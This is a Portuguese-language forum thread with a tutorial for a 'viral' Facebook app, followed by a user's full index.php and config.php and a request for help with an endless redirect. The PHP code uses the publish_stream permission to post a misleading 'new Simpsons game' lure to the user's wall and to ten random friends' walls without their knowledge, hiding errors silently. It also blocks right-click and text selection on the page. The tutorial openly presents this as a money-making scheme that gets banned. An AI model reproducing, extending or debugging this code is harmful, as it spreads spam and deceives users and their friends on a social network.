Está me redirecionando indefinidamente
Neste novo exemplo, programaremos uma aplicação viral (isso é para hoje e fome para amanhã XD)
Usaremos o mesmo código de [APPS]
Criar aplicações em um iframe, mas editaremos o index.php para que funcione como queremos.
Usaremos permissões especiais:
publish_stream, para publicar no mural
O que a aplicação faz é, quando o usuário acessa, publica no mural do usuário e também publica para 10 amigos aleatórios em seus murais. Para que não publique constantemente no mural, usaremos cookies, que duram 1 dia (24 horas).
PHP:
<?php
//Verificamos las cookies
$_E = false;
if($_COOKIE['YaTA']=="cicklow") $_E = true; else setcookie("YaTA", "cicklow", (time()+3600*24));
//Header especiales para Cookies en IFRAMES
header('P3P:CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"');
//Nuestra config
include('config.php');
?>
O que publicaremos
PHP:
$_P['message'] = '';
$_P['caption'] = '.';
$_P['description'] = '';
$_P['picture'] = 'http://www.seriesadictos.com/wp-content/uploads/2008/06/los-simpson.jpg'; //Imagen
$_P['link'] = 'http://apps.facebook.com/aplicacion/'; //URL Apps
$_P['name'] = 'Juega al nuevo juego de los simpsons.'; //Texto
Agora a parte Viral
PHP:
//Parte Viral de nuestra apps
if($_E){
//Publicamos en el muro del user
$me = $facebook->api('/'.$facebook->getUser().'/feed','post',$_P);
//Publicamos en el muro de los amigos!
$fi = $facebook->api('/me/friends/');
$fi = $fi['data'];
shuffle($fi);
for($i=0;$i<10;$i++){
try{
if($fi[$i]['id']!="") $postear = $facebook->api('/'.$fi[$i]['id'].'/feed', 'post',$_P);
echo "<!-- ID ".$fi[$i]['id']." //-->";
} catch (Exception $e) { }
}
}
Usando o 1 tutorial mais este agregado, teremos uma linda apps viral (o "para hoje e fome para amanhã" é porque essas apps geram receita e usuários, mas são facilmente banidas)
Abraços
PS: A api do facebook mudou. No index.php editem:
PHP:
if (!is_array($session)) {
por
e no config.php mudem:
PHP:
function redirect($PERMS="") { //function for use later on
global $facebook;
$loginUrl=$facebook->getLoginUrl(array(
'canvas'=>1,
'fbconnect'=>0,
'display'=>'page',
'next'=>FAC,
'cancel_url'=>FAC,
'req_perms'=>$PERMS,
));
return $loginUrl;
exit();
} // end redirect function
por
PHP:
function redirect($PERMS="") { //function for use later on
global $facebook;
$loginUrl=$facebook->getLoginUrl(array(
'canvas'=>1,
'fbconnect'=>0,
'display'=>'page',
'next'=>FAC,
'cancel_url'=>FAC,
'scope'=>$PERMS,
));
return $loginUrl;
exit();
} // end redirect function
e
PHP:
$session = $facebook->getSession();
por
PHP:
$session = $facebook->getUser();
🙂 🙂
Segui seus passos e a aplicação me redireciona indefinidamente. Por quê? Aqui deixo o código do
config.php
<?php
header('Content-Type:text/html; charset=UTF-8');
define('FAC','http://apps.facebook.com/principess/');
define('WEB','http://www.topfashionlike.com/h/');
@set_time_limit(0);
$__ID = 'xx';
$__KEY = 'x';
require 'facebook.php';
// Create our Application instance.
$facebook = new Facebook(array(
'appId' => $__ID,
'secret' => $__KEY,
'cookie' => true,
));
function redirect($PERMS="") { //function for use later on
global $facebook;
$loginUrl=$facebook->getLoginUrl(array(
'canvas'=>1,
'fbconnect'=>0,
'display'=>'page',
'next'=>FAC,
'cancel_url'=>FAC,
'req_perms'=>$PERMS,
));
return $loginUrl;
exit();
} // end redirect function
$session = $facebook->getUser();
?>
ESTE É O CÓDIGO DO INDEX.PHP
<?php
//Verificamos os cookies
$_E = false;
if($_COOKIE['YaTA']=="cicklow") $_E = true; else setcookie("YaTA", "cicklow", (time()+3600*24));
//Header especiais para Cookies em IFRAMES
header('P3P:CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"');
//Nossa config
include('config.php');
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US" xml:lang="en-US">
<head profile="http://gmpg.org/xfn/11">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Título Apps</title>
<meta name="Description" content="Descrição" />
<meta name="Keywords" content="" />
<meta name="CLASSIFICATION" content="" />
<meta property="og:title" content="Descrição"/>
<meta property="og:url" content="<?=FAC;?>"/>
<meta property="og:site_name" content="Título Apps"/>
<meta property="fb:app_id" content="<?=$__ID;?>"/>
<meta property="og:image" content="imagem"/>
<base href="<?=FAC;?>" />
<base target="_top" />
</head>
<body LeftMargin=0 topMargin=0 marginwidth="0" title="" marginheight="0" bgcolor="#ffffff" oncontextmenu="return false" ondragstart="return false" onselectstart="return false" onmouseover="self.status=''; return true">
<div id="fb-root"></div>
<script>
window.fbAsyncInit = function() {
FB.init({appId: '<?=$__ID;?>', status: true, cookie: true, xfbml: true});
FB.Canvas.setAutoResize();
};
function Rec(){
FB.ui({method: 'apprequests', message: ''Te recomendo minha aplicação', data: 'track<?=time();?>'});
}
(function() {
var e = document.createElement('script'); e.async = true;
e.src = document.location.protocol +
'//connect.facebook.net/es_LA/all.js';
document.getElementById('fb-root').appendChild(e);
}());
</script>
<?php
if (!is_array($session)) {
echo '<script>window.top.location="'.redirect("publish_stream").'";</script>';
die();
} else {
try {
$me = $facebook->api('/me/?fields=name');
} catch (FacebookApiException $e) {
echo $e;
die();
}
}
$_P['message'] = '';
$_P['caption'] = '.';
$_P['description'] = '';
$_P['picture'] = 'http://www.seriesadictos.com/wp-content/uploads/2008/06/los-simpson.jpg'; //Imagem
$_P['link'] = 'http://apps.facebook.com/principess/'; //URL Apps
$_P['name'] = 'Jogue o novo jogo dos simpsons.'; //Texto
//Parte Viral da nossa apps
if($_E){
//Publicamos no mural do user
$me = $facebook->api('/'.$facebook->getUser().'/feed','post',$_P);
//Publicamos no mural dos amigos!
$fi = $facebook->api('/me/friends/');
$fi = $fi['data'];
shuffle($fi);
for($i=0;$i<10;$i++){
try{
if($fi[$i]['id']!="") $postear = $facebook->api('/'.$fi[$i]['id'].'/feed','post',$_P);
echo "<!-- ID ".$fi[$i]['id']." //-->";
} catch (Exception $e) { }
}
}
echo '<h1>Olá '.$me['name'].'</h1>';
echo '<center><table border="0" width="750px">';
echo '<tr><td>PUBLICIDADE</td></tr>';
echo '<tr><td><center>
<iframe src="http://www.simpsonsmovie.com/content/games/wb/index.php?land=es&userid=null" scrolling="no" frameborder="0" height="480" width="640"></iframe>
</center></td></tr>';
echo '<tr><td>PUBLICIDADE</td></tr>';
echo '</table></center>';
function _save($_F,$_FECHA){
@file_put_contents($_F,$_FECHA);
}
?>
</body></html>
Me ajude, não sei o que está acontecendo